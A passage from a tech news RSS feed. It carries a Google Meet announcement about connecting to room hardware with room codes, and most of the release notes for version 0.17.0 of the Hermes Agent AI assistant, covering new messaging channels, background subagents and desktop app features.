<li>fix(coding-agent): expose hashline edit path to extensions by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4567862708" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1681" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1681/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1681">#1681</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/can1357/oh-my-pi/compare/v16.1.16...v16.1.17"><tt>v16.1.16...v16.1.17</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Connect to Google Meet hardware with room codes now in Early Preview]]></title>
<description><![CDATA[Google Meet users can now connect to nearby conference room hardware by entering a 5-character room code on their personal device. Meet recently launched Connect Room using proximity-based detection to identify nearby hardware. This update provides a reliable manual fallback when ultrasound is un...]]></description>
<link>https://tsecurity.de/de/3619518/web-tipps/connect-to-google-meet-hardware-with-room-codes-now-in-early-preview/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3619518/web-tipps/connect-to-google-meet-hardware-with-room-codes-now-in-early-preview/</guid>
<pubDate>Tue, 23 Jun 2026 22:24:37 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>Google Meet users can now connect to nearby conference room hardware by entering a 5-character room code on their personal device. Meet recently launched <a href="https://workspaceupdates.googleblog.com/2026/04/seamlessly-join-meetings-on-google-meet-hardware-with-Connect-Room.html" target="_blank">Connect Room</a> using proximity-based detection to identify nearby hardware. This update provides a reliable manual fallback when ultrasound is unavailable or disabled. Users will see a "Connect with room code" button on their device’s pre-call screen, which allows them to enter the alphanumeric code displayed directly on the hardware’s screen.</div><div><br></div><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiiXcJn715qdLaXM7JQeqs_yZpd-17G-7NuJBzdUBzyB7By2990R6z3JJ6q9mYYo5etMKsYeb0fKvEDZlYGy6Ljk-lhdwWIxsRDMmIUBUo5Qw1YBmoSRyxSNFuzmKupn7wsDt4W4qJT1kz-LnrUDB68p0cIBa3FTW2Nwfg6KeO3i0cesEe9_3C7_kPYhRA/s1141/Connect%20to%20Google%20Meet%20hardware%20with%20room%20codes%20-%206985.gif"><img border="0" data-original-height="640" data-original-width="1141" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiiXcJn715qdLaXM7JQeqs_yZpd-17G-7NuJBzdUBzyB7By2990R6z3JJ6q9mYYo5etMKsYeb0fKvEDZlYGy6Ljk-lhdwWIxsRDMmIUBUo5Qw1YBmoSRyxSNFuzmKupn7wsDt4W4qJT1kz-LnrUDB68p0cIBa3FTW2Nwfg6KeO3i0cesEe9_3C7_kPYhRA/s16000/Connect%20to%20Google%20Meet%20hardware%20with%20room%20codes%20-%206985.gif"></a></div><div><br></div><div>This feature ensures that meetings remain accessible particularly for private or ad-hoc sessions where automated detection might fail. To maintain security and prevent accidental connections, users must physically confirm their presence by tapping the room hardware screen after entering the code. The room code itself is designed for clarity and security, refreshing every few minutes to ensure only those in the room can initiate the connection.</div><div><br></div><div>For IT administrators, this update reduces troubleshooting overhead by providing a built-in alternative for rooms with complex acoustic environments or restricted proximity settings. By streamlining the connection process, organizations can ensure that employees spend less time managing hardware and more time collaborating effectively.</div><div><br></div><div><b>Note: </b>This feature is only available to users in domains on the Rapid Release track attempting to connect to devices enrolled in <a href="https://knowledge.workspace.google.com/admin/meet-hardware/try-features-early-on-your-devices?visit_id=639160597773593743-1868804841&amp;rd=1" target="_blank">Early Preview</a>. We’ll provide an update on the Workspace Updates blog when we begin a broader rollout.</div><h3>Getting started</h3><div><ul><li><b>Admins: </b>Admins: To preview this feature, your domain must be on the <a href="https://support.google.com/a/answer/172177" target="_blank">Rapid Release track</a> and have devices enrolled in Early Preview. Visit the Help Center to <a href="https://knowledge.workspace.google.com/admin/meet-hardware/try-features-early-on-your-devices?visit_id=639160597773593743-1868804841&amp;rd=1" target="_blank">learn more about enabling Early Preview for your Meet hardware devices</a>.</li><li><b>End users: </b>Visit the Help Center to <a href="https://support.google.com/meet/answer/16765739?hl=en" target="_blank">learn more about connecting with room codes</a>.</li></ul></div><h3>Rollout pace</h3><div><ul><li><a href="https://support.google.com/a/answer/172177" target="_blank">Rapid Release domains</a>: Rolling out now to Meet hardware devices enrolled in <a href="https://knowledge.workspace.google.com/admin/meet-hardware/try-features-early-on-your-devices?visit_id=639160597773593743-1868804841&amp;rd=1" target="_blank">Early Preview</a>, with expected completion by June 30, 2026</li></ul></div><h3>Availability</h3><div><ul><li>Available to all Google Workspace customers with Google Meet hardware devices</li></ul></div><h3>Resources</h3><div><ul><li>Google Meet Help: <a href="https://support.google.com/meet/answer/16765739" target="_blank">Use Connect room feature in Google Meet</a></li><li>Workspace Updates Blog: <a href="https://workspaceupdates.googleblog.com/2026/04/seamlessly-join-meetings-on-google-meet-hardware-with-Connect-Room.html" target="_blank">Seamlessly join meetings on Google Meet hardware with “Connect room”</a></li></ul></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Hermes Agent v0.17.0 (v2026.6.19)]]></title>
<description><![CDATA[Hermes Agent v0.17.0 (v2026.6.19)
Release Date: June 19, 2026
Since v0.16.0: ~1,475 commits · ~800 merged PRs · 1,693 files changed · 235,390 insertions · 50,730 deletions · 300+ issues closed · 245 community contributors

The Reach Release. v0.16.0 put Hermes on your desktop. v0.17.0 is about ho...]]></description>
<link>https://tsecurity.de/de/3611226/downloads/hermes-agent-v0170-v2026619/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3611226/downloads/hermes-agent-v0170-v2026619/</guid>
<pubDate>Fri, 19 Jun 2026 21:46:52 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h1>Hermes Agent v0.17.0 (v2026.6.19)</h1>
<p><strong>Release Date:</strong> June 19, 2026<br>
<strong>Since v0.16.0:</strong> ~1,475 commits · ~800 merged PRs · 1,693 files changed · 235,390 insertions · 50,730 deletions · 300+ issues closed · 245 community contributors</p>
<blockquote>
<p><strong>The Reach Release.</strong> v0.16.0 put Hermes on your desktop. v0.17.0 is about how far that reach extends — across new places to talk to it, deeper into the tools you already use, and out to the people running Hermes for a team. Hermes reached two new channels (iMessage via Photon, and the Raft agent network), the desktop app gained substantial new capability, subagents can now run in the background, image generation learned to edit, and Cursor's Composer model is reachable through an xAI Grok subscription. The dashboard got a full profile builder and secure login, the Skills Hub browser was rehauled, the <code>memory</code> tool got a major upgrade, and the curator stopped spending aux-model budget on every routine run. 300+ issues closed ride along, plus a security round.</p>
</blockquote>
<h2>✨ Highlights</h2>
<ul>
<li>
<p><strong>Hermes reaches iMessage — Photon Spectrum, no Mac relay required</strong> — There's now an iMessage platform plugin built on Photon's managed line pool. Run <code>hermes photon login</code>, authenticate with a device code, and Hermes can send and receive iMessage — no Mac sitting in a closet running a relay, no BlueBubbles bridge to babysit. It's positioned as the successor to BlueBubbles: free to start, nothing to self-host. If your friends and family live in the blue bubbles, Hermes lives there now too. (<a href="https://github.com/NousResearch/hermes-agent/pull/32348" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/32348/hovercard">#32348</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42582" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42582/hovercard">#42582</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44713" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44713/hovercard">#44713</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Raft — Hermes joins the Raft agent network as a gateway channel</strong> — A new bundled Raft platform adapter lets Hermes connect to <a href="https://raft.build/" rel="nofollow">Raft</a> as an external agent through a wake-channel bridge. Set <code>RAFT_PROFILE</code>, run the bridge, and Raft can wake Hermes to handle messages — with a privacy-by-contract design where wake payloads carry only metadata (event IDs, timestamps), never message bodies. Another surface where Hermes can show up and do work. (<a href="https://github.com/NousResearch/hermes-agent/pull/48210" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48210/hovercard">#48210</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxchan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxchan">@xxchan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>A substantially more capable desktop app</strong> — v0.16.0 shipped the desktop app; v0.17.0 deepened it across dozens of PRs. Rebindable keyboard shortcuts, native OS notifications with per-type toggles, live subagent <strong>watch-windows</strong> that stream a delegated agent's activity into its own pane, a composer model selector with per-model presets, automatic RTL/bidi text direction, a resizable VS Code-themed terminal pane, per-thread composer drafts, and the ability to install <strong>any VS Code Marketplace theme</strong> directly into the app. The desktop is now a serious daily driver, not a preview. (<a href="https://github.com/NousResearch/hermes-agent/pull/45866" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45866/hovercard">#45866</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40660/hovercard">#40660</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47060" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47060/hovercard">#47060</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46959" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46959/hovercard">#46959</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43292" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43292/hovercard">#43292</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44596" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44596/hovercard">#44596</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Background / async subagents — delegate work and keep going</strong> — <code>delegate_task(background=true)</code> now dispatches a subagent that runs in the background and returns a handle immediately. You and the model keep working while it churns, and the full result re-enters the conversation as a new turn the moment it finishes. Kick off a long research dive or a multi-step build, then carry on with something else instead of sitting blocked waiting on it. (<a href="https://github.com/NousResearch/hermes-agent/pull/40946" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40946/hovercard">#40946</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46968" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46968/hovercard">#46968</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Edit images, not just generate them — image-to-image in <code>image_generate</code></strong> — <code>image_generate</code> can now edit and transform a source image, not only create one from scratch. Pass an existing image and a prompt and it routes to the backend's edit endpoint (same tool, same pattern as <code>video_generate</code>), across every supported image provider. "Make this logo blue," "remove the background," "turn this sketch into a render" — all from the tool you already use. (<a href="https://github.com/NousResearch/hermes-agent/pull/48705" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48705/hovercard">#48705</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Automation Blueprints — schedule things without learning cron</strong> — Pick an automation by name and Hermes asks you for what it needs — no cron syntax, no <code>slot=value</code> typing. One blueprint definition renders natively on every surface: a form in the dashboard, a slash command in the CLI/TUI/messenger, a conversation with the agent, an entry in the docs catalog. "Daily news briefing at 8am" becomes a thing you set up by answering questions, not by memorizing <code>0 8 * * *</code>. (<a href="https://github.com/NousResearch/hermes-agent/pull/41309" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41309/hovercard">#41309</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Cursor's Composer model, through your xAI Grok subscription</strong> — <code>grok-composer-2.5-fast</code> is now in the xAI OAuth model picker, with its context window reconciled to the full 200k. Composer is the fast coding model behind Cursor — and if you have an xAI Grok subscription, you can now point Hermes at it directly over OAuth, no separate API key. Your Grok plan, Hermes's agent loop, Composer's coding speed. (<a href="https://github.com/NousResearch/hermes-agent/pull/47908" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47908/hovercard">#47908</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47371" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47371/hovercard">#6f89e17</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Full profile builder in the dashboard</strong> — Build a complete Hermes profile from the browser — pick its model, choose its skills, attach its MCP servers — without hand-editing <code>config.yaml</code>. The dashboard also unified multi-profile management into one machine-wide view with a global profile switcher, so you manage every profile from a single place. (<a href="https://github.com/NousResearch/hermes-agent/pull/39084" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/39084/hovercard">#39084</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44007/hovercard">#44007</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Skills Hub browser rehaul</strong> — The dashboard's Skills Hub got a ground-up rework: connected hubs, a Featured section, full skill previews before you install, and a security scan on each skill. Browsing and installing skills from the trusted taps (OpenAI, Anthropic, HuggingFace, NVIDIA) is now a real browsing experience, not a flat list. (<a href="https://github.com/NousResearch/hermes-agent/pull/40384" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40384/hovercard">#40384</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43398" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43398/hovercard">#43398</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>The <code>memory</code> tool got a major upgrade — atomic batch operations</strong> — The <code>memory</code> tool gained an <code>operations</code> array that applies a batch of add/replace/remove edits <strong>atomically against the final character budget</strong>. The model can free up space and add new entries in a single call — even when an add alone would overflow the budget — collapsing what used to be a fragile multi-turn dance into one reliable operation. Memory updates are now faster and far less likely to fail mid-edit. (<a href="https://github.com/NousResearch/hermes-agent/pull/48507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48507/hovercard">#48507</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Secure dashboard login</strong> — The dashboard's authentication was hardened: every token-required endpoint now correctly returns 401 behind the OAuth gate, websocket auth uses the served dashboard token, and a warning fires when a <code>public_url</code> override is silently rejected. Exposing your dashboard to the network is safer by default. (<a href="https://github.com/NousResearch/hermes-agent/pull/42578" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42578/hovercard">#42578</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43214" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43214/hovercard">#42578</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Official WhatsApp Business Cloud API adapter</strong> — Alongside the existing Baileys bridge, Hermes now speaks the <strong>official</strong> WhatsApp Business Cloud API — Meta's first-party, hosted, no-bridge-process path. Point it at your Business API credentials and Hermes talks WhatsApp through the supported channel, with no QR-scanning bridge process to keep alive. (<a href="https://github.com/NousResearch/hermes-agent/pull/44331" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44331/hovercard">#44331</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43921" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43921/hovercard">#43921</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jquesnelle/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jquesnelle">@jquesnelle</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Rich text for Telegram — Bot API 10.1 rich messages</strong> — Telegram replies now render as proper rich messages via Bot API 10.1: better formatting, cleaner long-message handling, native markup instead of flattened text. It's on by default with an opt-out, so your Telegram conversations look the way they should without any configuration. (<a href="https://github.com/NousResearch/hermes-agent/pull/44829" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44829/hovercard">#44829</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45584" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45584/hovercard">#45584</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45953" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45953/hovercard">#45953</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
<li>
<p><strong>Curator cost optimization — no aux-model spend on routine runs</strong> — The skill curator now prunes stale skills by default but no longer runs its LLM-powered consolidation pass unless you opt in (<code>curator.consolidate: true</code> or <code>hermes curator run --consolidate</code>). The deterministic inactivity sweep keeps running for free; the opinionated, aux-model-spending "build umbrella skills" fork is now off by default. Routine background curation costs you <strong>zero tokens</strong>. (<a href="https://github.com/NousResearch/hermes-agent/pull/47840" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47840/hovercard">#47840</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</p>
</li>
</ul>
<h2>🖥️ Hermes Desktop App</h2>
<h3>New surfaces &amp; UX</h3>
<ul>
<li>Rebindable keyboard shortcuts panel; native OS notifications with per-type toggles; curated turn-completion cue + dismissable error banners (<a href="https://github.com/NousResearch/hermes-agent/pull/40660" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40660/hovercard">#40660</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45866" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45866/hovercard">#45866</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42480" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42480/hovercard">#42480</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47985" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47985/hovercard">#47985</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Live subagent <strong>watch-windows</strong> — stream a delegated agent's activity into its own pane; composer status stack + editable prompts; open any chat in its own window; new-session-in-compact-window hotkey (<a href="https://github.com/NousResearch/hermes-agent/pull/47060" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47060/hovercard">#47060</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44630" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44630/hovercard">#44630</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43219" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43219/hovercard">#43219</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46951" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46951/hovercard">#46951</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Composer model selector + per-model presets + external-provider disconnect; surface every provider/model from <code>hermes model</code> in the GUI; unify provider list to one source; warn when a main-model switch leaves auxiliary tasks pinned elsewhere (<a href="https://github.com/NousResearch/hermes-agent/pull/46959" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46959/hovercard">#46959</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40563" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40563/hovercard">#40563</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49080" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49080/hovercard">#49080</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40286" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40286/hovercard">#40286</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Install <strong>any VS Code Marketplace theme</strong>; assignable themes per profile; window translucency slider; unified overlay design system + BrandMark + onboarding redesign (<a href="https://github.com/NousResearch/hermes-agent/pull/43292" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43292/hovercard">#43292</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42286" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42286/hovercard">#42286</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45086" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45086/hovercard">#45086</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40708" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40708/hovercard">#40708</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Resizable VS Code-themed terminal pane + palette polish; auto-detect RTL/bidi text direction in chat; Mac-style session switcher (^Tab / ^1-9); worktree-aware sidebar grouping; hover-reveal collapsed sidebars; messaging source folders in sidebar (<a href="https://github.com/NousResearch/hermes-agent/pull/42521" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42521/hovercard">#42521</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44596" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44596/hovercard">#44596</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43111" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43111/hovercard">#43111</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45273" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45273/hovercard">#45273</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41670" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41670/hovercard">#41670</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41751" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41751/hovercard">#41751</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li>Arrow-key history + queue editing in composer; expand full command inline from the approval bar; follow-streaming-at-bottom + jump-to-bottom button; first-class cron jobs in the sidebar + dashboard scheduler (<a href="https://github.com/NousResearch/hermes-agent/pull/40234" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40234/hovercard">#40234</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44864" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44864/hovercard">#44864</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45263" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45263/hovercard">#45263</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40684" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40684/hovercard">#40684</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Desktop pets — pop-out overlay + notifications (<a href="https://github.com/NousResearch/hermes-agent/pull/47938" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47938/hovercard">#47938</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Full tool-backend config (pickers + per-backend settings) in Settings; run tool-backend post-setup installs from the GUI; uninstall the Chat GUI without removing the agent; Shift+click status-bar zap to toggle YOLO globally; <code>/browser connect</code> on a local gateway (<a href="https://github.com/NousResearch/hermes-agent/pull/41232" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41232/hovercard">#41232</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40559" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40559/hovercard">#40559</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40355" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40355/hovercard">#40355</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41666" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41666/hovercard">#41666</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/47245" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47245/hovercard">#47245</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
